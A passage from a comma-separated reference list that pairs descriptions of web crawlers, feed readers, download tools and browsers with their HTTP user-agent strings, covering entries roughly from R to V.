http://www.rssbandit.org) (.NET CLR 1.1.4322.2407; WinNT 5.1.2600.0; )\nRSS Micro Search - RSS feed search engine,RSSMicro.com RSS/Atom Feed Robot\nRSSOwl embedded RSS feed reader,RSSOwl/1.2.3 2006-11-26 (Windows; U; zhtw)\nRSSOwl embedded RSS feed reader,RSSOwl/1.2.4 Preview Release 2007-04-15 (Windows; U; zhtw)\nYkoon RssReader news feed reader,RssReader/1.0.xx.x (http://www.rssreader.com) Microsoft Windows NT 5.1.2600.0\nSome site scanning tool via diff. IPs- i.e.: - dslx.net (208.35.1x.xxx) - Home.com,RSurf15a 41\nSome site scanning tool via diff. IPs- i.e.: - dslx.net (208.35.1x.xxx) - Home.com,RSurf15a 51\nSome site scanning tool via diff. IPs- i.e.: - dslx.net (208.35.1x.xxx) - Home.com,RSurf15a 81\nrubhub blog spider,Rubbot/1.0 (+http://rubhub.com/)\nWebarooBot - Webaroo web site search / theme based downloading tool (64.124.122.2xx),RufusBot (Rufus Web Miner; http://64.124.122.252/feedback.html)\nWebarooBot - Webaroo web site search / theme based downloading tool (64.124.122.2xx),RufusBot (Rufus Web Miner; http://www.webaroo.com/rooSiteOwners.html)\nunknown robot from rumours.jp (202.214.69.xxx),Rumours-Agent\nRX (Reflexive Search) Bar for IE,RX Bar\nSearch & Links directory spider,S&L Spider (http://search.hirners.com/)\nSEO-Tools.net link checking ?,S.T.A.L.K.E.R. (http://www.seo-tools.net/en/bot.aspx)\nSafariBookmarkChecker for Mac OS X,SafariBookmarkChecker (+http://www.coriolis.ch/)\nsait robot - unknown robot from Samsung International Korea,sait/Nutch-0.9 (SAIT Research; http://www.samsung.com)\nSandcrawler robot from Microsoft (131.107.0.xx),SandCrawler - Compatibility Testing\nSapphire Web Crawler from Carnegie Mellon University's Language Technologies Institute,SapphireWebCrawler/1.0 (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.edu)\nSapphire Web Crawler from Carnegie Mellon University's Language Technologies Institute,SapphireWebCrawler/Nutch-1.0-dev (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.edu)\nWebSavvy Directory robot,savvybot/0.2\nSiteSell SBIder Nutch based crawler,SBIder/0.7 (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html)\nSiteSell SBIder Nutch based crawler,SBIder/0.8-dev (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html)\nSoftbyte Labs Black Widow web site ripper,SBL-BOT (http://sbl.net)\nScanWeb - regular expression based web page searching tool,ScanWeb\nScholarUniverse - Scholarly experts search robot,ScholarUniverse/0.8 (Nutch;+http://scholaruniverse.com/bot.jsp; fetch-agent@scholaruniverse.com)\nURL Spider Pro (USP) used by German Schwarzmann GmbH,schwarzmann.biz-Spider_for_paddel.org+(http://www.innerprise.net/usp-spider.asp)\n1X Web Browser,Science Traveller International 1X/1.0\nWebWobot UK search engine robot (82.43.129.2xx),ScollSpider/2.0 (+http://www.webwobot.com/ScollSpider.php)\nAltavista robot,Scooter-3.0.EU\nAltavista robot,Scooter-3.0.FS\nAltavista robot,Scooter-3.0.HD\nAltavista robot,Scooter-3.0.VNS\nAltavista robot,Scooter-3.0QI\nAltavista robot,Scooter-3.2\nAltavista robot,Scooter-3.2.BT\nAltavista robot,Scooter-3.2.DIL\nAltavista robot,Scooter-3.2.EX\nAltavista robot,Scooter-3.2.JT\nAltavista robot,Scooter-3.2.NIV\nAltavista robot,Scooter-3.2.SF0\nAltavista robot,Scooter-3.2.snippet\nAltavista robot,Scooter-3.3dev\nAltavista robot,Scooter-ARS-1.1\nAltavista robot,Scooter-ARS-1.1-ih\nAltavista robot,scooter-venus-3.0.vns\nAltavista robot,Scooter-W3-1.0\nAltavista robot,Scooter-W3.1.2\nAltavista robot,Scooter/1.0\nAltavista robot,Scooter/1.0 scooter@pa.dec.com\nAltavista robot,Scooter/1.1 (custom)\nAltavista robot,Scooter/2.0 G.R.A.B. V1.1.0\nAltavista robot,Scooter/2.0 G.R.A.B. X2.0\nAltavista robot,Scooter/3.3\nAltavista robot,Scooter/3.3.QA.pczukor\nAltavista robot,Scooter/3.3.vscooter\nAltavista robot,Scooter/3.3_SF\nAltavista using Mercator robot,Scooter2_Mercator_x-x.0\nAltavista robot,Scooter_bh0-3.0.3\nAltavista robot,Scooter_trk3-3.0.3\nScope Navigator mobile browser (Japan),Scope (Mars+)\nSome nec.com robot using Research Republic ScoutAbout Research Tool,ScoutAbout\nAnt.com search robot,ScoutAnt/0.1; +http://www.ant.com/what_is_ant.com/\nScoutMaster information retrieval software,scoutmaster\nScrub the web robot (66.93.156.xx),Scrubby/2.x (http://www.scrubtheweb.com/)\nScrub the web robot (66.93.156.xx),Scrubby/3.0 (+http://www.scrubtheweb.com/help/technology.html)\nURL Search+ search software,Search+\nXtreem Search Engine Studio - SE software,Search-Engine-Studio\nSearch.ch robot,search.ch V1.4\nSearch.ch robot,search.ch V1.4.2 (spiderman@search.ch; http://www.search.ch)\nEnterprise Search web indexing / site searching tool,Search/1.0 (http://www.innerprise.net/es-spider.asp)\nUnknown robot  / website grabber from Chinatelecom (219.142.78.xxx),searchbot admin@google.com\nSearchByUSA robot (69.150.7.xxx),SearchByUsa/2 (SearchByUsa; http://www.SearchByUsa.com/bot.html; info@SearchByUsa.com)\nSearchday (Germany) search robot,SearchdayBot\nSearchexpress spider,SearchExpress Spider0.99\nSearchguild forum & directory robot (81.3.75.xxx),SearchGuild/DMOZ/Experiment (searchguild@gmail.com)\nSearchguild forum & directory robot (81.3.75.xxx),SearchGuild_DMOZ_Experiment (chris@searchguild.com)\nSearchit robot (69.93.107.xx),Searchit-Now Robot/2.2 (+http://www.searchit-now.co.uk)\nSearchmee!  Search Engine (prototype) robot by findanisp.com,Searchmee! Spider v0.98a\nSearchSight search robot,SearchSight/2.0 (http://SearchSight.com/)\nSearchSpider robot,SearchSpider.com/1.1\nSearchSpider robot,Searchspider/1.2 (SearchSpider; http://www.searchspider.com; webmaster@searchspider.com)\nJanas (Ideare.com / Tiscali.it) robot,SearchTone2.0 - IDEARE\nseekport. beta search (Germany) robot,Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/0.3\nseekport. beta search (Germany) robot,Seekbot/1.0 (http://www.seekbot.net/bot.html) RobotsTxtFetcher/1.0 (XDF)\nseekport. beta search (Germany) robot,Seekbot/1.0 (http://www.seekbot.net/bot.html) RobotsTxtFetcher/1.2\nLookseek search robot / link checking,Seeker.lookseek.com\nsemaforo.net web filtering software,semaforo.net\nSemager.de (was NG-Search) semantic search - Germany,Semager/1.1 (http://www.semager.de/blog/semager-bots/)\nSemager.de (was NG-Search) semantic search - Germany,Semager/1.x (http://www.semager.de)\nSemantic Discovery domain checking tool,semanticdiscovery/0.x\nSensis Australia search robot,Sensis Web Crawler (search_comments\\at\\sensis\\dot\\com\\dot\\au)\nSensis Australia search robot,Sensis.com.au Web Crawler (search_comments\\at\\sensis\\dot\\com\\dot\\au)\nSeznam Search (Czech Republic) robot,SeznamBot/1.0\nSeznam Search (Czech Republic) robot,SeznamBot/1.0 (+http://fulltext.seznam.cz/)\nSeznam Search (Czech Republic) robot,SeznamBot/2.0-test (+http://fulltext.sblog.cz/)\nUnknown robot from Shablast.com - Website has no content - Ignores robots.txt,ShablastBot 1.0\nShareaza P2P peer-to-peer download client,Shareaza v1.x.x.xx\nSharewarePlaza File Check Bot - link checking,SharewarePlazaFileCheckBot/1.0+(+http://www.SharewarePlaza.com)\nChikayama-Taura Lab Shim-Crawler used for The Kototoi Project (Japan) - (133.11.36.xx),Shim Crawler\nChikayama-Taura Lab Shim-Crawler used for The Kototoi Project (Japan) - (133.11.36.xx),Shim-Crawler(Mozilla-compatible; http://www.logos.ic.i.u-tokyo.ac.jp/crawler/; crawl@logos.ic.i.u-tokyo.ac.jp)\nShopWiki shopping search based on LittleWiki search,ShopWiki/1.0 ( +http://www.shopwiki.com/)\nShopWiki shopping search based on LittleWiki search,ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)\nShoula Search Engine crawler,Shoula.com Crawler 2.0\nSiets Crawler - Web based site crawling application,SietsCrawler/1.1 (+http://www.siets.biz)\nSigram's Nutch robot - crawler testing,Sigram/Nutch-1.0-dev (Test agent for Nutch development; http://www.sigram.com/bot.html; bot at sigram dot com)\nSiigle search (Turkey) robot,Siigle Orumcex v.001 Turkey (http://www.siigle.com)\nSlider Search directory robot (194.213.194.2xx),silk/1.0\nSlider Search directory robot (194.213.194.2xx),silk/1.0 (+http://www.slider.com/silk.htm)/3.7\nSimpleFavPanel - IE newsfeed panel plugin,SimpleFavPanel/1.2\nSimpy bookmarking and personal search engine,Simpy 1.x; http://www.simpy.com/\nSimpy bookmarking and personal search engine,Simpy/1.x (Simpy; http://www.simpy.com/?ref=bot; feedback at simpy dot com)\nSirketçe search - Turkey,Sirketcebot/v.01 (http://www.sirketce.com/bot.html)\nSiteBar online bookmark manager,SiteBar/3.x.x (Bookmark Server; http://sitebar.org/)\nSiteBar bookmark server,SiteBar/x.x\nSiteBar bookmark server,SiteBar/x.x.x (Bookmark Server; http://sitebar.org/)\nInternetseer Web Site Monitoring / Claymont robot,sitecheck.internetseer.com\nInternetseer Web Site Monitoring,sitecheck.internetseer.com (For more info see: http://sitecheck.internetseer.com)\nSiteRecon website monitoring spider at xx minute intervals,SiteRecon+(xx)\nPC Magazin web site downloadmanager,SiteSnagger\nSite Spider robot (66.249.17.xx),SiteSpider +(http://www.SiteSpider.com/)\nSiteSucker Mac website downloading tool,SiteSucker/1.x.x\nSiteTagger.com bookmark organizer,SiteTaggerBot (http://www.sitetagger.com/bot.htm)\nSiteTruth - Automatic site legitimacy rating system,SiteTruth.com site rating system\nWebwasher.com (217.146.159.xx) internet filter,SiteWinder\nXtreeme SiteXpert sitemap & search engine builder,SiteXpert\nSkaffe.com directory link checker,Skampy/0.9.x (http://www.skaffe.com/skampy-info.html)\nSkaffe.com directory link checker,Skimpy/0.x (http://www.skaffe.com/skampy-info.html)\nVisvo distributed website crawler based on Nutch,Skywalker/0.1 (Skywalker; anonymous; anonymous)\nOnly.com robot,Slarp/0.1\nSleipnir - Japanese Explorer based browser & search bar,Sleipnir\nSleipnir - Japanese Explorer based browser & search bar,Sleipnir Version 1.xx\nSleipnir - Japanese Explorer based browser & search bar,Sleipnir Version2.x\nSleipnir - Japanese Explorer based browser & search bar,Sleipnir/2.xx\nSlider Search directory robot (194.213.194.2xx),Slider_Search_v1-de\nSlim Browser (IE based browser) - uses this user agent for favicon.ico only,SlimBrowser\nInktomi (Hotbot-Lycos-NBCi) robot,Slurp/2.0 (slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nInktomi (Hotbot-Lycos-NBCi) robot,Slurp/2.0-KiteWeekly (slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nInktomi (Hotbot-Lycos-NBCi) robot,Slurp/si (slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nInktomi (Hotbot-Lycos-NBCi) robot - 72.30.61.xx(x),Slurpy Verifier/1.0\nSlysearch robot (now Turnitin robot),SlySearch (slysearch@slysearch.com)\nSlysearch robot (now Turnitin robot),SlySearch/1.0 http://www.plagiarism.org/crawler/robotinfo.html\nSlysearch robot (now Turnitin robot),SlySearch/1.x http://www.slysearch.com\nNetzip/Smartdownload download manager,SmartDownload/1.2.67 (Win32; Jan 12 1999)\nNetzip/Smartdownload download manager,SmartDownload/1.2.77 (Win32; Feb 1 2000)\nNetzip/Smartdownload download manager,SmartDownload/1.2.77 (Win32; Jun 19 2001)\nLoop Improvements NRS Enterprise search (69.44.155.xx[x]),smartwit.com\nSmiffyDCMetaSpider - Robot to check the retro-adding of Dublin Core metadata,SmiffyDCMetaSpider/1.0\nSnoopy PHP-client,sna-0.0.1 (mikemuzio@msn.com)\nSnoopy PHP-client,sna-0.0.1 mikeelliott@hotmail.com\nUnknown bot from bb2.net (66.234.139.xxx) also as Snapbot/1.0,snap.com beta crawler v0\nUnknown bot from bb2.net (66.234.139.xxx) - also as snap.com,Snapbot/1.0\nUnknown bot from Psinet / Cogentco - not from Snap.com,\"Snapbot/1.0 (Snap Shots, +http://www.snap.com)\"\nMy UrlTrends online web ranking service,Snappy/1.1 ( http://www.urltrends.com/ )\nSnarfer RSS reader,Snarfer/0.x.x (http://www.snarfware.com/)\nUnknown robot from 217.229.156.xx (T-Online Germany),SnoopRob/x.x\nSnoopy PHP-client,Snoopy v1.xx\nSnoopy PHP-client,Snoopy v1.xx- : User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\nSnoopy PHP-client,Snoopy_v0.xx\nSnyke.com France robot,SnykeBot/0.6 (http://www.snyke.com)\nLink crawler for the social sciences,SocSciBot ()\nNetFront browser on Softbank mobile phone,SoftBank/1.0/812SH/SHJ001 Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSoft Hypermarket link checking,SoftHypermarketFileCheckBot/1.0+(+http://www.softhypermaket.com)\nSoftizer.com software directory link checking,Softizerbot (http://www.softizer.com)\nUnknown UA from Chinanet (220.181.26.1xx) faking Sogou search robot,sogou develop spider\nUnknown UA from Chinanet (220.181.18.xx) faking Sogou search robot,Sogou Orion spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)\nUnknown UA from Chinanet (220.181.26.1xx) faking Sogou search robot,sogou spider\nUnknown UA from Chinanet (220.181.26.1xx) faking Sogou search robot,Sogou web spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)\nUnknown UA from Chinanet (220.181.26.1xx) faking Sogou search robot,sohu agent\nSohu (Search Fox) search robot China (61.135.131.xxx),sohu-search\nSOSO search (China) spider,Sosospider+(+http://help.soso.com/webspider.htm)\nDefault Proxomitron (discontinued) filtering proxy user agent identifier,Space Bison/0.02 [fu] (Win67; X; SK)\nSpeed Download (Mac) download manager,SpeedDownload/1.x\nSpeedfind.de robot,speedfind ramBot xtreme 8.1\nEntireweb search robot,Speedy Spider (Beta/x.x; speedy@entireweb.com)\nEntireweb search spider,Speedy Spider (Entireweb; Beta/1.0; http://www.entireweb.com/about/search_tech/speedyspider/)\nEntireweb search robot,Speedy_Spider (http://www.entireweb.com)\nSphere blog and news search robot,Sphere Scout&v4.0 - scout at sphere dot com\nSphider - a lightweight search engine in PHP,Sphider\nOnly.com robot,Spida/0.1\nSearch-Info ODP/DMOZ spider,Spider-Sleek/2.0 (+http://search-info.com/linktous.html)\nBatsch robot,spider.batsch.com\nTerraNautic spider for Schnellsuchen touristic search (Germany),Spider.TerraNautic.net - v:1.04\nYellopet spider,spider.yellopet.com - www.yellopet.com\nMaxbot .gov .mil .edu indexing robot,Spider/maxbot.com admin@maxbot.com\nUnknown robot from CPE at Kasetsart University (158.108.35.xxx),SpiderKU/0.x\nYahoo Search user agent or spider (202.165.102.xxx),SpiderMan\nSpiderMonkey Canada robot,SpiderMonkey/7.0x (SpiderMonkey.ca info at http://spidermonkey.ca/sm.shtml)\nSpider.de robot,Spinne/2.0\nMedkatalog (medical catalogue) Austria robot,Spinne/2.0 med\nMedkatalog (medical catalogue) Austria robot,Spinne/2.0 med_AH\nSpock - people search application - via Amazon web services,Spock Crawler (http://www.spock.com/crawler)\nSportsuchmaschine (German sports related search) link checking / robot,sportsuchmaschine.de-Robot (Version: 1.02- powered by www.sportsuchmaschine.de)\nSproose personalized search (38.100.225.xx),sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)\nSQ Webscanner Mac download manager,SQ Webscanner\nSimple page-prefetch for Squid web proxy,Squid-Prefetch\nSquidclam is a replacement for SquidClamAV-Redirector,squidclam\nSCAVR - Squid helper script for scanning download URLs for viruses,SquidClamAV_Redirector 1.x.x\nAOL Search / Pacific Internet Exchange robot,Sqworm/2.9.81-BETA (beta_release; 20011102-760; i686-pc-linux-gnu)\ndiff. IPs / services i.e.: - Inria.fr robot - Websense (Internet filtering) robot,Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)\nTime Warner Telecom user robot ?,Sqworm/2.9.89-BETA (beta_release; 20020130-839; i686-pc-linux-gnu) \nSome site scanning tool via diff. IPs i.e.: - choiceone.net (216.153.xxx.xxx) - epix.net (216.108.198.xx),SSurf15a 11 \nRambler search (Russia) robot (81.19.6x.xx),StackRambler/x.x \nStamina download manager,Stamina/1.4\nStar Downloader download manager,Star Downloader\nStar Downloader download manager,StarDownloader/1.xx\nExperimental search engine spider from 66.92.186.xxx,stat statcrawler@gmail.com\nSteeler crawler,Steeler/1.x (http://www.tkl.iis.u-tokyo.ac.jp/~crawler/)\nSteeler - University of Tokyo web crawler,Steeler/3.3 (http://www.tkl.iis.u-tokyo.ac.jp/~crawler/)\nStrategic Board blog & news search robot,Strategic Board Bot (+http://www.strategicboard.com)\nStrategic Board blogs and news aggregator robot,Strategic Board Bot (+http://www.strategicboard.com)\nSurfsafely submission verifier,Submission Spider at surfsafely.com\nSuchbaer.de (Germany) search robot,suchbaer.de\nSuchbaer.de (Germany) search robot,suchbaer.de (CrawlerAgent v0.103)\nSuchbot Germany robot,suchbot\nSuchknecht Austria robot,Suchknecht.at-Robot\nsuchpad search Germany robot (213.239.194.xx),suchpadbot/1.0 (+http://www.suchpad.de)\nSunrise XP handheld news / website reader and converter,Sunrise XP/2.x\nSunrise XP web sites and newsfeeds converter and handheld reader,Sunrise/0.42g (Windows XP)\nSuperBot website copier,SuperBot/x.x (Win32)\nSuperBot website copier,SuperBot/x.x.x.xx (Windows XP)\nUbbi Superdownloads (Brazil) link checking,Superdownloads Spiderman\nSurfControl Web Filtering,SURF \nWanadoo Rechereche robot,SurferF3 1/0\nMaskbit Surfmaster bookmark tool,SurfMaster\nWhois Source domain name information robot (66.249.26.xx),SurveyBot/2.2 <a href='http://www.whois.sc'>Whois Source</a>\nWhois Source domain name information robot (66.249.26.xx),SurveyBot/2.3 (Whois Source)\nYokogao Search Engine robot (Kanazawa University),suzuran\nHP Secure Web Browser for OpenVMS,SWB/V1.4 (HP)\nunknown,swbot/0.9c libwww/5.3.1\nSwooglebot Swoogle's semantic web crawler,Swooglebot/2.0. (+http://swoogle.umbc.edu/swooglebot.htm)\nSWSBot - SmartWareSoft (85.186.255.xx) software search engine created for Playfuls.com,SWSBot-Images/1.2 http://www.smartwaresoft.com/swsbot12.html\nSygol Search (Italy) robot,SygolBot http://www.sygol.net\nSylera browser (Japan),Sylera/1.2.x\nMindspring.com user robot,SyncBot\nSyncIT link validation,SyncIT/x.x\nSyndirella desktop information aggregator (beta),Syndirella/0.91pre\nSynomia (France) robot,SynoBot\nSyntryx Solution Suite - domain / keyword crawler (216.7.179.xx),Syntryx ANT Scout Chassis Pheromone; Mozilla/4.0 compatible crawler\nSzukacz.pl (Polish search) robot,Szukacz/1.x\nSzukacz.pl (Polish search) robot,Szukacz/1.x (robot; www.szukacz.pl/jakdzialarobot.html; szukacz@proszynski.pl)\nGerman T-Online browser & internet suite ,T-Online Browser\ntags2dir.com directory index,tags2dir.com/0.8 (+http://tags2dir.com/directory/)\nTAGword DMOZ survey - ODP link checking robot,Tagword (http://tagword.com/dmoz_survey.php)\nTagyu - del.icio.us bookmark collection online tag generator,Tagyu Agent/1.0\nDaumsoft Talkro IR robot,Talkro Web-Shot/1.0 (E-mail: webshot@daumsoft.com- Home: http://222.122.15.190/webshot)\nTexas A&M University - Dept. of Computer Science crawler (server or link checking ?),TAMU_CS_IRL_CRAWLER/1.0\nTargetblaster user link validation ?,targetblaster.com/0.9k\nTarget Your News - user submitted links,TargetYourNews.com bot\nTrinity College Dublin (Ireland) TCDBOT,TCDBOT/Nutch-0.8 (PhD student research;http://www.tcd.ie; mcgettrs at t c d dot IE)\nHTTP header for transfer encoding used as user agent name ?,TE\nWinInet Internet client app.,TeamSoft WinInet Component\nTecomac Gmbh (Germany) crawler software - now Arexera Information Technologies,TECOMAC-Crawler/0.x\nTecomi (Germany) beta / test robot (84.201.65.xxx),Tecomi Bot (http://www.tecomi.com/bot.htm)\nTeemer crawler for NetSeer search (beta) via Amazon Web Services - see also NetSeer/Nutch,\"Teemer (NetSeer, Inc. is a Los Angeles based Internet startup company.; http://www.netseer.com/crawler.html; crawler@netseer.com)\"\nTeleport (website) downloading tool,Teleport Pro/1.2x(.1xxx)\nTeoma crawler (65.214.36.xx[x]),Teoma MP\nTeoma crawler (65.214.36.xx[x]),teomaagent crawler-admin@teoma.com\nTeoma crawler (65.214.36.xx[x]),teomaagent1 [crawler-admin@teoma.com]\nTeoma crawler (65.214.36.xx[x]),teoma_agent1\nTeradex Directory robot,Teradex Mapper; mapper@teradex.com; http://www.teradex.com\nTeragram multilingual text & data processing software,TeragramCrawler\nTerraminds blog search (Germany),terraminds-bot/1.0 (support@terraminds.de)\nTerrawiz Indian Search Engine robot,TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)\nNoceans Information Portfolio Manager (66.35.69.x),Test spider\nBalihoo - Search Engine for Advertising Media,TestCrawler/Nutch-0.9 (Testing Crawler for Research ; http://balihoo.com/index.aspx; tgautier at balihoo dot com)\nExpert HTML online source viewer,The Expert HTML Source Viewer (http://www.expert-html.com)\nThe Rarest Words - Linguistic experiment crawler via Amazon Web Services,TheRarestParser/0.2a (http://therarestwords.com/)\nTheSuBot robot (Germany) for an unknown theme based search engine,TheSuBot/0.1 (www.thesubot.de)\nThumbShots website thumbnail service (Germany) robot,\"thumbshots-de-Bot (Version: 1.02, powered by www.thumbshots.de)\"\nThumbShots.de (Germany) robot,thumbshots-de-Bot (Version: 1.02- powered by www.thumbshots.de)\nBreaking Blogs timbo bot blog robot,timboBot/0.9 http://www.breakingblogs.com/timbo_bot.html\nTimelyWeb web page monitoring tool,http://www.timelyweb.com/\nTinEye crawler for an open image search project,TinEye/1.1 (http://tineye.com/crawler.html)\nTivra spider from AT&T Labs Research,tivraSpider/1.0 (crawler@tivra.com)\nTjgroup spider,TJG/Spider\nTJvHttpGrabber (JEDI Visual Component Library),TJvMultiHttpGrabber Component\nTkensaku Search (Japan) robot from 210.239.46.xxx (www.tken.com),Tkensaku/x.x(http://www.tkensaku.com/q.html)\nUnknown robot from 195.68.98.xx (coltfrance.com),toCrawl/UrlDispatcher\nTopodia search engine and personal information assistant (in development),Topodia/1.2-dev (Topodia - Crawler for HTTP content indexing; http://www.topodia.com/; support@topodia.com)\nTopos search (Russia) robot,TOPOS robot/1.1 (http://www.topos.com.ua/)\nTraazi! search (Germany) robot,traazibot/testengine (+http://www.traazi.de)\nTrailfire web collection and annotating system,Trailfire-bot/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nTrailfire web collection and annotating system,Trailfire-bot/0.7.1 (Trailfire page content analyzer; http://trailfire.com; info@trailfire.com)\nTrailfire web collection and annotating system,Trailfire/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nTrampelpfad Webkatalog spider,Trampelpfad-Spider\nTrampelpfad Webkatalog spider,Trampelpfad-Spider-v0.1\nTricos meta tag validation,tricosMetaCheck 1.2216-08-1999 (http://www.tricos.com/metacheck)\nsome bad user agent,TSurf15a 11\nTulip Chain browser / link checker for Dmoz.org directory,TulipChain/5.x (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://java.sun.com/) Linux/2.4.17\nTulip Chain browser / link checker for Dmoz.org directory,TulipChain/5.xx (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://apple.com/) Mac_OS_X/10.2.8\nTumblr Tumblelogs RSS and news syndication crawler,Tumblr/1.0 RSS syndication (+http://www.tumblr.com/) (support@tumblr.com)\nTurnitin (ex SlySearch) robot for helping educational institutions prevent plagiarism,TurnitinBot/x.x (http://www.turnitin.com/robot/crawlerinfo.html)\nTurnPike Emporium Directory (207.67.198.x) link checking,Turnpike Emporium LinkChecker/0.1\nTutorGig tutorial search robot,TutorGig/1.5 (+http://www.tutorgig.com/crawler)\nTutorGig tutorial search robot,Tutorial Crawler 1.4 (http://www.tutorgig.com/crawler)\nTwiceler experimental web crawler,Twiceler www.cuill.com/robots.html\nTwiceler experimental web crawler,Twiceler-0.9 http://www.cuill.com/twiceler/robot.html\nFile downloading component from Twisted Python,Twisted PageGetter\nTwitt(url)y URL tracking service for Twitter via Amazon Web Services,Twitturly / v0.x\nTwotrees content filter,Twotrees Reactive Filter V2.0\nTycoon - Hewlett-Packards distributed cluster solution robot,Tycoon Agent/Nutch-1.0-dev\nTygo Search robot,TygoBot\nTygo Search robot,TygoProwler\nUCMore -  IE navigation and search plugin,UCmore\nUCMore -  IE navigation and search plugin,UCMore Crawler App\nUcweb mobile browser,UCWEB5.1\nuser agent - maybe UdmSearch (see UdmSearch) ?,UDM\nUdmSearch / MySearch (now mnoGoSeach) offline browser/search client,UdmSearch/3.1.x\nUniversity of Iowa Crawler- possibly MySpiders,UIowaCrawler/1.0\nUKWizz search robot,UKWizz/Nutch-0.8.1 (UKWizz Nutch crawler; http://www.ukwizz.com/)\nInfoseek robot,Ultraseek\nUnknown mail harvester/spambot from 80.58.13.xxx (proxycache.rima-tde.net),Under the Rainbow 2.2\nDNS Right - Online DNS tools,unknownght.com Web Server IIS vs Apache Survey. See Results at www.DNSRight.com\nUnknown robot from University of Toronto (128.100.5.1xx),UofTDB_experiment (leehyun@cs.toronto.edu)\nMobile phone browser,UP.Browser/3.01-IG01 UP.Link/3.2.3.4\nUpdated! search robot,updated/0.1-alpha (updated crawler; http://www.updated.com; crawler@updated.com)\nUpdated! search robot,updated/0.1beta (updated.com; http://www.updated.com; crawler@updated.om)\nHandspring (PalmOS powered cellphone) Treo Blazer browser,UPG1 UP/4.0 (compatible; Blazer 1.0)\nUptimeBot.com online link popularity check,Uptimebot\nUptimeBot.com online link popularity check,UptimeBot(www.uptimebot.com)\nURI::Fetch - client for fetching HTTP pages and syndication feeds (RSS Atom),URI::Fetch/0.06\nInnerprise URL Spider Pro (now ES.NET) web indexing / site searching tool,URL Spider Pro/x.xx (innerprise.net)\nURLBase - Internet shortcut manager,URLBase/6.x\nURLBlaze file sharing link toolkit,URLBlaze\n://URLFAN news crawler,urlfan-bot/1.0; +http://www.urlfan.com/site/bot/350.html\nURLGetFile downloading tool,URLGetFile\nInnerprise URL Spider Pro (now ES.NET) web indexing / site searching tool,URL_Spider_Pro/x.x\nInnerprise URL Spider Pro (now ES.NET) web indexing / site searching tool,URL_Spider_Pro/x.x+(http://www.innerprise.net/usp-spider.asp)\nBoardReader search favicon fetcher,User-Agent:  BoardReader Favicon Fetcher /1.0 info@boardreader.com\nBoardReader search image fetcher,User-Agent:  BoardReader Image Fetcher /1.0 info@boardreader.com\nljpic.com - LiveJournal picture feed search,User-Agent:  LjSEEK Picture-Bot /1.0 contact@ljseek.com\nFileHeap download manager,User-Agent: FileHeap! file downloader (http://www.fileheap.com)\nMalformed UA header from some guestbook/forum spammer,User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nSkizzle search robot,User-Agent: Mozilla/4.0 (SKIZZLE! Distributed Internet Spider v1.0 - www.SKIZZLE.com)\nunknown robot (reads robots.txt) or sitegrabber. From different IPs- ie.: 62.98.8.xx (wind.it),user-agent=Mozilla/3.01Gold\nUniversity of Sydney NLP Spider for research in Natural Language Processing ,USyd-NLP-Spider (http://www.it.usyd.edu.au/~vinci/bot.html)\nWeb Thief Site Grabber,UtilMind HTTPGet\nWebWasher ad filter,Utopia WebWasher 3.0\nuTorrent BitTorrent client,uTorrent/1500\nUnknown bad behaving bot via Road Runner - see link,VadixBot\nWiseGuys WAP pages robot,Vagabondo-WAP/2.0 (webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)/1.0 Profile\nWiseGuys robot Netherland - 82.94.216.2,Vagabondo/1.x MT (webagent@wise-guys.nl)\nWiseGuys robot Netherland - 82.94.216.2,Vagabondo/2.0 MT\nWiseGuys robot Netherland - 82.94.216.2,Vagabondo/2.0 MT (webagent at wise-guys dot nl)\nWiseGuys robot Netherland - 82.94.216.2,Vagabondo/2.0 MT (webagent@NOSPAMwise-guys.nl)\nWiseGuys robot Netherland - 82.94.216.2,Vagabondo/3.0 (webagent at wise-guys dot nl)\nOpen Directory link checking from Vakes,Vakes/0.01 (Vakes; http://www.vakes.com/; search@vakes.com)\nunknown level3.net (63.214.172.xxx) robot,VayalaCreep-v0.0.1 (haploid@haploid.com)\nunknown level3.net (63.214.172.xxx) robot,Vayala|Creep-v0.0.1 (codepoet@wildties.com)\niNet Grabber - Internet content grabber,vb wininet\nVersus Project robot - Comparing methods for near-uniform URL sampling,versus 0.2 (+http://versus.integis.ch)\nUnknown robot from EPFL University Switzerland (128.178.155.xxx),versus crawler eda.baykan@epfl.ch\nVerticrawl - Semantic search engine solution (French),Verticrawlbot\nVeryGoodSearch.com link submission checking,VeryGoodSearch.com.DaddyLongLegs\nVerzamelgids NL link checking robot,verzamelgids.nl - Networking4all Bot/x.x\nVerzamelgids NL link checking robot,Verzamelgids/2.2 (http://www.verzamelgids.nl)\nUnknown robot from Yahoo Norway,Vespa Crawler\nSidewinder G2 anti-virus and anti-spyware protection,virus_detector (virus_harvester@securecomputing.com)\nVisbot crawler for a search software under development,VisBot/2.0 (Visvo.com Crawler; http://www.visvo.com/bot.html; bot@visvo.com)\nSome IE toolbar made with Visicom Media Dynamic Toolbar software,Visicom Toolbar\nVision research lab's Cortina - content based image retrieval (128.111.60.xx),Vision Research Lab image spider at vision.ece.ucsb.edu\nVLC - Cross-platform media player and streaming server,VLC media player - version 0.8.5 Janus - (c) 1996-2006 the VideoLAN team\nVM - Vertical Search Engine 